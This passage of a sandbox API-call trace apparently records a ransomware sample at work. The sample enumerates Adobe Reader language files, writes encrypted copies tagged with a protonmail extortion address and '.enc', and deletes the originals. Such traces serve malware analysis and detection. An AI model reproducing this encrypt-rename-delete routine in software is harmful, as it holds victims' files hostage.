lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.091] GetFileType (hFile=0x39c) returned 0x1 [0198.091] GetCurrentThreadId () returned 0x9b0 [0198.091] GetFileType (hFile=0x39c) returned 0x1 [0198.091] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.092] GetCurrentThreadId () returned 0x9b0 [0198.092] GetCurrentThreadId () returned 0x9b0 [0198.092] GetCurrentThreadId () returned 0x9b0 [0198.094] GetCurrentThreadId () returned 0x9b0 [0198.094] GetCurrentThreadId () returned 0x9b0 [0198.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8188) returned 0x3720750 [0198.094] GetCurrentThreadId () returned 0x9b0 [0198.096] GetCurrentThreadId () returned 0x9b0 [0198.096] GetCurrentThreadId () returned 0x9b0 [0198.096] CloseHandle (hObject=0x39c) returned 1 [0198.096] GetCurrentThreadId () returned 0x9b0 [0198.097] CloseHandle (hObject=0x334) returned 1 [0198.097] GetCurrentThreadId () returned 0x9b0 [0198.097] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt")) returned 1 [0198.098] GetCurrentThreadId () returned 0x9b0 [0198.098] GetCurrentThreadId () returned 0x9b0 [0198.098] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt", lpFilePart=0x9bada4*="DisplayLanguageNames.en_GB_EURO.txt") returned 0x72 [0198.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0198.099] GetCurrentThreadId () returned 0x9b0 [0198.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0198.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0198.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0198.099] GetCurrentThreadId () returned 0x9b0 [0198.099] GetCurrentThreadId () returned 0x9b0 [0198.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0198.100] GetCurrentThreadId () returned 0x9b0 [0198.100] GetCurrentThreadId () returned 0x9b0 [0198.100] GetCurrentThreadId () returned 0x9b0 [0198.100] GetCurrentThreadId () returned 0x9b0 [0198.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0198.100] GetCurrentThreadId () returned 0x9b0 [0198.101] GetCurrentThreadId () returned 0x9b0 [0198.101] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164)) returned 1 [0198.101] GetCurrentThreadId () returned 0x9b0 [0198.101] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683f4 | out: pbBuffer=0x36683f4) returned 1 [0198.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0198.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0198.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0198.102] GetCurrentThreadId () returned 0x9b0 [0198.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0198.102] GetCurrentThreadId () returned 0x9b0 [0198.102] GetCurrentThreadId () returned 0x9b0 [0198.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0198.102] GetCurrentThreadId () returned 0x9b0 [0198.102] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.103] GetFileType (hFile=0x334) returned 0x1 [0198.103] GetCurrentThreadId () returned 0x9b0 [0198.103] GetFileType (hFile=0x334) returned 0x1 [0198.103] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.103] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.103] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.104] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.104] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.104] GetCurrentThreadId () returned 0x9b0 [0198.104] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.104] GetFileType (hFile=0x39c) returned 0x1 [0198.105] GetCurrentThreadId () returned 0x9b0 [0198.105] GetFileType (hFile=0x39c) returned 0x1 [0198.105] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.105] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.105] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.105] GetCurrentThreadId () returned 0x9b0 [0198.106] GetCurrentThreadId () returned 0x9b0 [0198.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0198.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0198.106] GetCurrentThreadId () returned 0x9b0 [0198.106] GetCurrentThreadId () returned 0x9b0 [0198.132] GetCurrentThreadId () returned 0x9b0 [0198.133] GetCurrentThreadId () returned 0x9b0 [0198.133] GetCurrentThreadId () returned 0x9b0 [0198.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3720750 | out: hHeap=0x2ad0000) returned 1 [0198.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0198.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0198.134] GetCurrentThreadId () returned 0x9b0 [0198.135] GetCurrentThreadId () returned 0x9b0 [0198.135] CloseHandle (hObject=0x39c) returned 1 [0198.135] GetCurrentThreadId () returned 0x9b0 [0198.135] CloseHandle (hObject=0x334) returned 1 [0198.135] GetCurrentThreadId () returned 0x9b0 [0198.136] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt")) returned 1 [0198.137] GetCurrentThreadId () returned 0x9b0 [0198.137] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt", lpFilePart=0x9bada4*="DisplayLanguageNames.en_US.txt") returned 0x6d [0198.137] GetCurrentThreadId () returned 0x9b0 [0198.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0198.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0198.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0198.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.138] GetCurrentThreadId () returned 0x9b0 [0198.139] GetCurrentThreadId () returned 0x9b0 [0198.139] GetCurrentThreadId () returned 0x9b0 [0198.139] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164)) returned 1 [0198.139] GetCurrentThreadId () returned 0x9b0 [0198.139] GetCurrentThreadId () returned 0x9b0 [0198.139] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366887c | out: pbBuffer=0x366887c) returned 1 [0198.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0198.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0198.140] GetCurrentThreadId () returned 0x9b0 [0198.140] GetCurrentThreadId () returned 0x9b0 [0198.140] GetCurrentThreadId () returned 0x9b0 [0198.140] GetCurrentThreadId () returned 0x9b0 [0198.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead50 | out: hHeap=0x2ad0000) returned 1 [0198.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32655c8 [0198.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0198.141] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.141] GetFileType (hFile=0x334) returned 0x1 [0198.141] GetCurrentThreadId () returned 0x9b0 [0198.141] GetFileType (hFile=0x334) returned 0x1 [0198.141] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.141] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.142] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.142] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.142] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.142] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.142] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.142] GetCurrentThreadId () returned 0x9b0 [0198.142] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.143] GetFileType (hFile=0x39c) returned 0x1 [0198.143] GetCurrentThreadId () returned 0x9b0 [0198.143] GetFileType (hFile=0x39c) returned 0x1 [0198.143] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.143] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.143] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.143] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.143] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.143] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.144] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.144] GetCurrentThreadId () returned 0x9b0 [0198.144] GetCurrentThreadId () returned 0x9b0 [0198.144] GetCurrentThreadId () returned 0x9b0 [0198.146] GetCurrentThreadId () returned 0x9b0 [0198.146] GetCurrentThreadId () returned 0x9b0 [0198.146] GetCurrentThreadId () returned 0x9b0 [0198.147] GetCurrentThreadId () returned 0x9b0 [0198.147] GetCurrentThreadId () returned 0x9b0 [0198.148] CloseHandle (hObject=0x39c) returned 1 [0198.148] GetCurrentThreadId () returned 0x9b0 [0198.148] CloseHandle (hObject=0x334) returned 1 [0198.148] GetCurrentThreadId () returned 0x9b0 [0198.148] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt")) returned 1 [0198.150] GetCurrentThreadId () returned 0x9b0 [0198.150] GetCurrentThreadId () returned 0x9b0 [0198.150] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt", lpFilePart=0x9bada4*="DisplayLanguageNames.en_US_POSIX.txt") returned 0x73 [0198.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0198.150] GetCurrentThreadId () returned 0x9b0 [0198.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0198.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0198.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0198.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.151] GetCurrentThreadId () returned 0x9b0 [0198.152] GetCurrentThreadId () returned 0x9b0 [0198.152] GetCurrentThreadId () returned 0x9b0 [0198.152] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164)) returned 1 [0198.152] GetCurrentThreadId () returned 0x9b0 [0198.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0198.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0198.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.153] GetCurrentThreadId () returned 0x9b0 [0198.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0198.153] GetCurrentThreadId () returned 0x9b0 [0198.153] GetCurrentThreadId () returned 0x9b0 [0198.153] GetCurrentThreadId () returned 0x9b0 [0198.153] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.154] GetFileType (hFile=0x334) returned 0x1 [0198.154] GetCurrentThreadId () returned 0x9b0 [0198.154] GetFileType (hFile=0x334) returned 0x1 [0198.154] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.154] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.154] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.154] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.154] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.154] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.155] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.155] GetCurrentThreadId () returned 0x9b0 [0198.155] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.155] GetFileType (hFile=0x39c) returned 0x1 [0198.155] GetCurrentThreadId () returned 0x9b0 [0198.155] GetFileType (hFile=0x39c) returned 0x1 [0198.156] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.156] GetCurrentThreadId () returned 0x9b0 [0198.156] GetCurrentThreadId () returned 0x9b0 [0198.156] GetCurrentThreadId () returned 0x9b0 [0198.158] GetCurrentThreadId () returned 0x9b0 [0198.158] GetCurrentThreadId () returned 0x9b0 [0198.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3901568, Size=0x8185) returned 0x3901568 [0198.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265598 [0198.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265628 | out: hHeap=0x2ad0000) returned 1 [0198.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8188) returned 0x3720750 [0198.159] GetCurrentThreadId () returned 0x9b0 [0198.160] GetCurrentThreadId () returned 0x9b0 [0198.160] GetCurrentThreadId () returned 0x9b0 [0198.161] CloseHandle (hObject=0x39c) returned 1 [0198.161] GetCurrentThreadId () returned 0x9b0 [0198.161] GetCurrentThreadId () returned 0x9b0 [0198.161] CloseHandle (hObject=0x334) returned 1 [0198.161] GetCurrentThreadId () returned 0x9b0 [0198.161] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt")) returned 1 [0198.163] GetCurrentThreadId () returned 0x9b0 [0198.163] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0198.163] GetCurrentThreadId () returned 0x9b0 [0198.163] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, 